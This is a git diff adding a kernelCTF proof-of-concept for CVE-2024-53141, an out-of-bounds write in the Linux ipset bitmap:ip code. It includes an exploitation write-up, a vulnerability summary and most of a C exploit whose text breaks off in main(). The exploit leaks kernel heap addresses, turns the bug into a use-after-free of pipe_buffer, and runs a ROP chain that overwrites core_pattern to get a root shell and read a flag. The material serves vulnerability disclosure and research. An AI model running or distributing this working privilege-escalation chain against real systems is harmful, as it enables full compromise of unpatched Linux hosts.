diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/exploit.md new file mode 100755 index 00000000..1c7926a4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/exploit.md @@ -0,0 +1,180 @@ +# Introduction +IP sets are a framework inside the Linux kernel. Depending on the type, an IP set may store IP addresses, networks, (TCP/UDP) port numbers, MAC addresses, interface names or combinations of them in a way, which ensures lightning speed when matching an entry against a set. One of the features called `bitmap:ip`. The bitmap:ip set type uses a memory range, where each bit represents one IP address and can store up to 65535 (B-class network) entries. + +Linux kernel implemented it in `net/netfilter/ipset/ip_set_bitmap_ip.c`. We can use netlink to interact with this component. + +# Vulnerability Overview +CVE-2024-53141 is vulnerability in ipset component. This bug is present in `bitmap_ip_uadt` function, that fails to handle `IPSET_ATTR_CIDR` parameters. + +```C +static int +bitmap_ip_uadt(struct ip_set *set, struct nlattr *tb[], + enum ipset_adt adt, u32 *lineno, u32 flags, bool retried) +{ + if (ip < map->first_ip || ip > map->last_ip) // [1] + return -IPSET_ERR_BITMAP_RANGE; + ... + if (tb[IPSET_ATTR_IP_TO]) { + ret = ip_set_get_hostipaddr4(tb[IPSET_ATTR_IP_TO], &ip_to); + if (ret) + return ret; + if (ip > ip_to) { + swap(ip, ip_to); + if (ip < map->first_ip) // [2] + return -IPSET_ERR_BITMAP_RANGE; + } + } else if (tb[IPSET_ATTR_CIDR]) { + u8 cidr = nla_get_u8(tb[IPSET_ATTR_CIDR]); + ... + ip_set_mask_from_to(ip, ip_to, cidr); // [3] + } else { + ip_to = ip; + } + + if (ip_to > map->last_ip) // [4] + return -IPSET_ERR_BITMAP_RANGE; + + for (; !before(ip_to, ip); ip += map->hosts) { // [5] + e.id = ip_to_id(map, ip); + ret = adtfn(set, &e, &ext, &ext, flags); +``` + +When `tb[IPSET_ATTR_IP_TO]` is not present but `tb[IPSET_ATTR_CIDR]` exists, `ip` and `ip_to` calculated via `ip_set_mask_from_to` based on `tb[IPSET_ATTR_CIDR]`. It's possible to have `ip` less than the actual `map->first_ip` and there's no check of `ip` after that. + +Consider when we have `map->first_ip` to be `0xffffffcb` and `map->last_ip` be `0xffffffff`, then we pass `IPSET_ATTR_IP` with value `0xffffffff` and `IPSET_ATTR_CIDR` with `3`, the result after [3] will make `ip` equal to `0xe0000000` and `ip_to` equal to `0xffffffff`, it would pass the check at [1], [4] and continue proceed to [5]. Therefore, the loop at [5] can proceed outside range ip that allocated (`map->first_ip` until `map->last_ip`). + +# Primitives + +`adtfn` will resolve to `bitmap_ip_add` function (defined as `mtype_add` in `net/netfilter/ipset/ip_set_bitmap_gen.h`, mtype is just macro to `bitmap_ip`). It will fetch extension `x` from `map.extensions` with `e.id` as index. +```c +#define get_ext(set, map, id) ((map)->extensions + ((set)->dsize * (id))) + +static int +mtype_add(struct ip_set *set, void *value, const struct ip_set_ext *ext, + struct ip_set_ext *mext, u32 flags) +{ + struct mtype *map = set->data; + const struct mtype_adt_elem *e = value; + void *x = get_ext(set, map, e->id); + int ret = mtype_do_add(e, map, flags, dsize: set->dsize); +``` +`e.id` comes from `ip_to_id` from previous function, if we craft such `id` it can lead to out-of-bounds later when that function perform on `x`. + +```c +static u32 +ip_to_id(const struct bitmap_ip *m, u32 ip) +{ + return ((ip & ip_set_hostmask(m->netmask)) - m->first_ip) / m->hosts; +} +``` +We also can control the size of map (`bitmap_ip` type) by passing `first_ip` and `last_ip` when we initially create the ip set. + +## OOB Write to Kernel Heap Leak +By crafting `e.id` it can lead OOB write, for example when we set the comment in sets, it can spill the kernel heap address in the next chunk because `comment` in `ip_set_init_comment` is outside the range. +```c +static int +mtype_add(struct ip_set *set, void *value, const struct ip_set_ext *ext, + struct ip_set_ext *mext, u32 flags) +{ + struct mtype *map = set->data; + const struct mtype_adt_elem *e = value; + void *x = get_ext(set, map, e->id); + ... + if (SET_WITH_COMMENT(set)) + ip_set_init_comment(set, ext_comment(x, set), ext); +} +ip_set_init_comment(struct ip_set *set, struct ip_set_comment *comment, + const struct ip_set_ext *ext) +{ + ... + c = kmalloc(size: sizeof(*c) + len + 1, GFP_ATOMIC); + ... + rcu_assign_pointer(comment->c, c); +} +``` +This is the path that we used to leak kernel heap addr, by shaping heap to `..[skbuff][bitmap_ip][skbuff][skbuff]..` the OOB write of kernel addr will spilled to the next chunk which is socket buffer. + +In our exploit we choose to work on kmalloc-cg-1024 in this step, we allocate `bitmap_ip` and spray socket buffer at kmalloc-cg-1024. `ip_set_init_comment` will spilled kernel heap addr from kmalloc-192 to the socket buffer. + +By receiving socket buffer, we can get kernel heap address to use it for the next step exploitation. + +## OOB Write Arbitrary Value +Another type of OOB that we can use is OOB write with arbitrary value. This works using set that contain `counter`. +```c +static inline void +ip_set_init_counter(struct ip_set_counter *counter, + const struct ip_set_ext *ext) +{ + if (ext->bytes != ULLONG_MAX) + atomic64_set(v: &(counter)->bytes, i: (long long)(ext->bytes)); + if (ext->packets != ULLONG_MAX) + atomic64_set(v: &(counter)->packets, i: (long long)(ext->packets)); +} +static int +mtype_add(struct ip_set *set, void *value, const struct ip_set_ext *ext, + struct ip_set_ext *mext, u32 flags) +{ + struct mtype *map = set->data; + const struct mtype_adt_elem *e = value; + void *x = get_ext(set, map, e->id); + ... + if (SET_WITH_COUNTER(set)) + ip_set_init_counter(ext_counter(x, set), ext); +} +``` +We can craft the value in `ext->bytes` or `ext->packets` then it will set to the outside the bounds of allocated heap chunk. + +## OOB Write to Use-After-Free +To unlock more useful primitives, we use `msg_msgseg` to convert this OOB to use after free. The idea is by controlling `msg_msgseg.next` (first 8 byte of msg_msgseg) we can perform arbitrary free by reach `free_msg` function. +```c +void free_msg(struct msg_msg *msg) +{ + struct msg_msgseg *seg; + + security_msg_msg_free(msg); + + seg = msg->next; + kfree(msg); + while (seg != NULL) { + struct msg_msgseg *tmp = seg->next; // + + cond_resched(); + kfree(seg); + seg = tmp; + } +} +``` + +In this step choose to work on kmalloc-cg-2048, we allocate `bitmap_ip` and spray `msg_msgseg` at kmalloc-cg-2048. The victim object (`struct bitmap_ip`) is allocated with `GFP_KERNEL_ACCOUNT` so it's guarantee can reside in the same slab cache with `msg_msgseg` object. So we put `bitmap_ip` right before `msg_msgseg`, then perform OOB write so we can write arbitrary value on `msg_msgseg.next`. + +By using arbitrary free, we choose `pipe_buffer` as another victim object because it's familiar for us and easy to plan for the next step of exploit. But the kernel heap leak primitives we had only allocate buffer on generic kernel cache (kmalloc-192), so we kind of guess a little bit to get `pipe_buffer` address that located in account cache. Basically, from our observation we can calculate `leak_addr ~(0x10000000 - 1)` with `leak_addr` as kernel heap addr leaked from kmalloc-192 chunk, we can guess `pipe_buffer` in confident probability. + +## Use-After-Free to Control RIP +In this step, we already free `pipe_buffer` by arbitrary free. Next, we reclaim victim `pipe_buffer` using socket buffer. We spray socket buffer and hope it placed at same address as `pipe_buffer`. Then, we write to the pipe and it will filled one of our socket buffer with `pipe_buffer` content. + +By reading that socket, we can read the content of pipe buffer written before to leak kernel text (from pipe_buffer->ops). We can calculate kernel base and calculate our rop gadget address. + +Controlling RIP, we simply free the that socket buffer and reallocate with new one that overwrite `pipe_buffer->ops` to our controlled heap chunk. By closing the pipe we can control kernel execution to our rop chain that we already prepared. + +# Control RIP to ROP Chain +We reached this code path where we control all fields in `pipe_buffer`. +```c +static inline void pipe_buf_release(struct pipe_inode_info *pipe, + struct pipe_buffer *buf) +{ + const struct pipe_buf_operations *ops = buf->ops; + + buf->ops = NULL; + ops->release(pipe, buf); +} +``` +By controlling `buf->ops->realese` we can redirect kernel execution. Noticing RSI register is the buffer we can control, we use these two gadgets to pivot the stack so we can use rop chain. +``` +1. push rsi ; jmp qword ptr [rsi + 0x39] +2. pop rsp ; pop r15 ; ret +``` + +# ROP chain to Root Shell +We want to use `core_pattern` technique to get the root shell. `core_pattern` is kernel string variable contain executable path that will executed anytime user program crash, it's executed as high privilege, so we want this program that will gives us root shell. + +Using any generic rop gadget available, we overwrite `core_pattern` with our program path using `copy_from_user` then simply call `msleep`. Another thread of our exploit notice the `/proc/sys/kernel/core_pattern` changes, it will try to crash itself so our exploit will executed as high privilege and gives us root shell to get the flag. diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/vulnerability.md new file mode 100755 index 00000000..0cd5c155 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-53141_lts/docs/vulnerability.md @@ -0,0 +1,14 @@ +- Requirements: + - Capabilites: CAP_NET_ADMIN + - Kernel configuration: CONFIG_IP_SET_BITMAP_IP=y + - User namespaces required: Yes +- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72205fc68bd13109576aa6c4c12c740962d28a6c +- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=35f56c554eb1b56b77b3cf197a6b00922d49033d +- Affected Version: v2.7 - v6.12 +- Affected Component: netfilter +- Syscall to disable: unshare +- URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53141 +- Cause: Out-of-bounds access +- Description: An out-of-bounds access vulnerability in the Linux kernel's netfilter. +When tb[IPSET_ATTR_IP_TO] is not present but tb[IPSET_ATTR_CIDR] exists, +the values of ip and ip_to are slightly swapped, the range check for ip is missed and causes out-of-bounds access. We recommend upgrading past commit 35f56c554eb1b56b77b3cf197a6b00922d49033d \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/Makefile b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/Makefile new file mode 100644 index 00000000..b286b0d4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/Makefile @@ -0,0 +1,42 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl +INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static -s + +exploit: exploit.c + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + + +prerequisites: libnftnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + +libnftnl-build : libmnl-build libnftnl-download + tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc` + cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +libnftnl-download : + mkdir $(LIBNFTNL_DIR) + wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) + rm -rf $(LIBNFTNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit new file mode 100755 index 00000000..4be75ed7 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit.c b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit.c new file mode 100644 index 00000000..2c9a68ef --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-53141_lts/exploit/lts-6.6.62/exploit.c @@ -0,0 +1,637 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include /* the L2 protocols */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#define SYSCHK(x) ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ +}) +#define NPIPE 0x100 +#define NMSG 0x1000 +#define PAUSE \ + { \ + int x; \ + printf(":"); \ + read(0, &x, 1); \ + } + +int spray_fd[0x100][2]; +int spray_fd2[0x400][2]; +int pipe_fd[0x100][2]; +int msqid[0x4000]; +struct +{ + long mtype; + char mtext[0x2000]; +} msg; + +struct msg_msg +{ + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +}; + +struct pipe_buffer +{ + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t pad; + uint64_t private; +}; + +size_t KERNEL_BASE = 0; +#define START_ROP 0x50 +#define STATIC_KBASE 0xffffffff81000000 +#define POP_RDI (KERNEL_BASE + (0x0145e109)) // pop rdi ; ret +#define POP_RSI (KERNEL_BASE + (0x0145b835)) // pop rsi ; ret +#define POP_RSI2 (KERNEL_BASE + (0x00ffbe53)) // pop rsi ; mov eax, xxx ; ret +#define POP_RDX (KERNEL_BASE + (0x0145dc80)) // pop rdx ; ret +#define POP_RSP (KERNEL_BASE + (0x0145cc66)) // pop rsp ; ret +#define PIVOT (KERNEL_BASE + (0x00b32a2b)) // push rsi ; jmp qword ptr [rsi + 0x39] +#define PIVOT2 (KERNEL_BASE + (0x0015ccee)) // pop rsp ; pop r15 ; ret +#define PIVOT3 (KERNEL_BASE + (0x00b32a2b)) // push rsi; jmp qword ptr [rsi+0x39]; +#define CORE_PATTERN (KERNEL_BASE + (0xffffffff83db6520 - STATIC_KBASE)) +#define COPY_FROM_USER (KERNEL_BASE + (0xffffffff81983470 - STATIC_KBASE)) +#define MSLEEP (KERNEL_BASE + (0xffffffff812784c0 - STATIC_KBASE)) +#define ANON_PIPE_BUF_OPS_OFF (0xffffffff82c4b100 - STATIC_KBASE) +char user_buf[] = "|/proc/%P/fd/666 %P"; +char buf[0x1000]; +char name[0x100]; +char comment_string[0x100]; + +size_t pipe_buf_addr = 0; + +#define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)] + +int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop) +{ + *(size_t *)&rop[0x8] = POP_RDI; + *(size_t *)&rop[0x18] = POP_RSP; + *(size_t *)&rop[0x20] = rop_addr + START_ROP; + + *(size_t *)&rop[0x10] = rop_addr + 0x20; // set pipe_buffer.ops + *(size_t *)&rop[0x28] = PIVOT3; // set pipe_buf_operations.release + *(size_t *)&rop[0x39] = PIVOT2; + + int i = 0; + // copy_from_user(core_pattern, user_buf, sizeof(user_buf); + ROP(i++) = POP_RDI; + ROP(i++) = CORE_PATTERN; + ROP(i++) = POP_RSI2; + ROP(i++) = (size_t)&user_buf; + ROP(i++) = POP_RDX; + ROP(i++) = sizeof(user_buf); + ROP(i++) = COPY_FROM_USER; + // msleep(0x10000); + ROP(i++) = POP_RDI; + ROP(i++) = 0x10000; + ROP(i++) = MSLEEP; +} + +void set_cpu(int c) +{ + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(c, &mask); + sched_setaffinity(0, sizeof(mask), &mask); +} +int __netlink_send(int fd, const void *nlh, size_t size) +{ + struct iovec iov = { + .iov_base = (void *)nlh, + .iov_len = size, + }; + struct msghdr msg = { + .msg_name = NULL, + .msg_namelen = 0, + .msg_iov = &iov, + .msg_iovlen = 1, + .msg_control = NULL, + .msg_controllen = 0, + .msg_flags = 0, + }; + + if (sendmsg(fd, &msg, 0) < 0) + { + perror("sendmsg()"); + return -1; + } + + return 0; +} +static inline int netlink_send(int fd, const struct nlmsghdr *nlh) +{ + return __netlink_send(fd, nlh, nlh->nlmsg_len); +} + +int netlink_open(int proto) +{ + struct sockaddr_nl addr = {0}; + addr.nl_family = AF_NETLINK; + + int s = socket(AF_NETLINK, SOCK_RAW, proto); + if (s < 0) + { + perror("socket()"); + return s; + } + if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1) + { + perror("bind()"); + return -1; + } + + return s; +} + +// Function to create an IP set under kmalloc-cg-1024 cache +int create_ip_set_kmalloc_1024(int sock_fd, const char *set_name, const char *type_name, uint8_t family, int extra) +{ + char buf[1024]; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = IPSET_CMD_CREATE | (6 << 8); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + mnl_nlmsg_put_extra_header(nlh, 4); + + mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); + mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); + mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name); + mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); + mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); + + struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); + + struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); + + // 0x35*8+0x58 is under kmalloc-cg-1024 + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x35)); + + mnl_attr_nest_end(nlh, attr_ip); + + attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); + mnl_attr_nest_end(nlh, attr_ip); + + if (extra) + mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, htonl(IPSET_FLAG_WITH_COMMENT)); + + // map size depend on map = ip_set_alloc(sizeof(*map) + elements * set->dsize); + // IPSET_FLAG_WITH_COMMENT cause set->dsize == 0x8 + // 0x35*0x8 + sizeof(*map) is under kmalloc-cg-1024 + + mnl_attr_nest_end(nlh, attr_data); + + return netlink_send(sock_fd, nlh); +} + +// Function to add an IP address to the set +int trigger_oob_leak(int sock_fd, const char *set_name, const char *cidr, uint8_t family) +{ + + char buf[1024]; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = IPSET_CMD_ADD | (6 << 8); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL; + + mnl_nlmsg_put_extra_header(nlh, 4); + + mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); + mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); + + mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); + mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); + + struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); + + struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); + + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); + + mnl_attr_nest_end(nlh, attr_ip); + + // IPSET_ATTR_CIDR==3 make `ip` is 0xe0000000 and `ip_to` 0xffffffff + mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3); + + mnl_attr_put_strz(nlh, IPSET_ATTR_COMMENT, comment_string); + + mnl_attr_nest_end(nlh, attr_data); + + return netlink_send(sock_fd, nlh); +} + +// Function to create an IP set under kmalloc-cg-2048 cache +int create_ip_set_kmalloc_2048(int sock_fd, const char *set_name, const char *type_name, uint8_t family, int extra) +{ + char buf[1024]; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = IPSET_CMD_CREATE | (6 << 8); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + + mnl_nlmsg_put_extra_header(nlh, 4); + + mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); + mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); + mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name); + mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); + mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); + + struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); + + struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); + + + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x40)); + + mnl_attr_nest_end(nlh, attr_ip); + + attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); + mnl_attr_nest_end(nlh, attr_ip); + + if (extra) + mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, htonl(IPSET_FLAG_WITH_COUNTERS)); + + // map size depend on map = ip_set_alloc(sizeof(*map) + elements * set->dsize); + // IPSET_FLAG_WITH_COUNTERS cause set->dsize == 0x10 + // 0x40*0x10 + sizeof(*map) is under kmalloc-cg-2048 + + mnl_attr_nest_end(nlh, attr_data); + + return netlink_send(sock_fd, nlh); +} +// Function to add an IP address to the set +int add_ip_to_set(int sock_fd, const char *set_name, const char *cidr, uint8_t family,uint32_t ip) +{ + + char buf[1024]; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = IPSET_CMD_ADD | (6 << 8); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL; + + mnl_nlmsg_put_extra_header(nlh, 4); + + mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); + mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); + + mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); + mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); + + struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); + + struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); + + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip); + + mnl_attr_nest_end(nlh, attr_ip); + + attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO); + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip); + mnl_attr_nest_end(nlh, attr_ip); + + mnl_attr_nest_end(nlh, attr_data); + + return netlink_send(sock_fd, nlh); +} + +int trigger_oob_write(int sock_fd, const char *set_name, const char *cidr, uint8_t family) +{ + + char buf[1024]; + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + + nlh->nlmsg_type = IPSET_CMD_ADD | (6 << 8); + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL; + + mnl_nlmsg_put_extra_header(nlh, 4); + + mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL); + mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name); + + mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family); + mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0); + + struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA); + + struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP); + + mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1)); + + mnl_attr_nest_end(nlh, attr_ip); + + // IPSET_ATTR_CIDR==3 make `ip` is 0xe0000000 and `ip_to` 0xffffffff + mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3); + + mnl_attr_put_u64(nlh, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); + mnl_attr_put_u64(nlh, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr)); + + mnl_attr_nest_end(nlh, attr_data); + + return netlink_send(sock_fd, nlh); +} + +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + usleep(100); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +int main(int argc, char **argv) +{ + setvbuf(stdout, 0, 2, 0); + if (argc > 1) + { + // #define SYS_pidfd_getfd 438 + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + } + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(0); + setsid(); + crash(""); + } + set_cpu(1); + + struct rlimit rlim = { + .rlim_cur = 0x1000, + .rlim_max = 0x1000}; + SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); + + + // prepare a lot unix_socket for spray skbs + for (int i = 0; i < 0x400; i++) + { + size_t val = 0x400000; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, spray_fd2[i])); + SYSCHK(SYSCHK(setsockopt(spray_fd2[i][0], SOL_SOCKET, SO_SNDBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(spray_fd2[i][1], SOL_SOCKET, SO_SNDBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(spray_fd2[i][0], SOL_SOCKET, SO_RCVBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(spray_fd2[i][1], SOL_SOCKET, SO_RCVBUF, &val, 4))); + } + + // spray a lot skbs ahead for later guess skb chunk addr success rate higher + for (int i = 0; i < 0x400; i++) + { + for (int j = 0; j < 0x100; j++) + { + write(spray_fd2[i][0], buf, 0x200); + write(spray_fd2[i][1], buf, 0x200); + } + } + + +Loop: + // Fork child to attempt to leak kernel heap addr. + if (fork() != 0) + { + int status = 0; + wait(&status); + if (status == 0) + { + puts("Leak kheap fail, retry"); + goto Loop; + } + raise(SIGSTOP); + } + // create new unprivileged network IPC namespace to reach vulnerability + SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC)); + + // create a lot msgqueue for later to spray msg_msg and msg_msgseg + for (int i = 0; i < 0x4000; i++) + { + msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); + SYSCHK(msqid[i]); + } + + // prepare another set of unix_sockets for spray skbs + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, spray_fd[i])); + } + + // make comment_string be allocated under kmalloc-192 + memset(comment_string, 'a', 0x90); + + msg.mtype = 1; + int fail = 1; + + int sock_fd = netlink_open(NETLINK_NETFILTER); + if (sock_fd < 0) + { + fprintf(stderr, "Failed to open Netlink socket\n"); + return EXIT_FAILURE; + } + + for (int i = 0; i < 0x1000; i++) + { + sprintf(name, "%d", i); + if (i == 0x800) + { + // if reach target loop, we spray a lot kmalloc-cg-1024 skbs ahead + for (int i = 0; i < 0x100; i++) + SYSCHK(write(spray_fd[i][0], buf, 0x80)); + } + // allocate target ipset + create_ip_set_kmalloc_1024(sock_fd, name, "bitmap:ip", AF_INET,i==0x800); + + // set bit to each ipset in order to make oob write stop + add_ip_to_set(sock_fd, name, "A", AF_INET,htonl(-0x35)); + if (i == 0x800) + { + // if reach target loop, we spray a lot kmalloc-cg-1024 skbs after allocating target ipset + for (int i = 0; i < 0x100; i++) + SYSCHK(write(spray_fd[i][1], buf, 0x80)); + } + + } + + // trigger oob write to keep allocate comment_string to overwrite next chunk(skb) contents as kernel heap + trigger_oob_leak(sock_fd, "2048", "A", 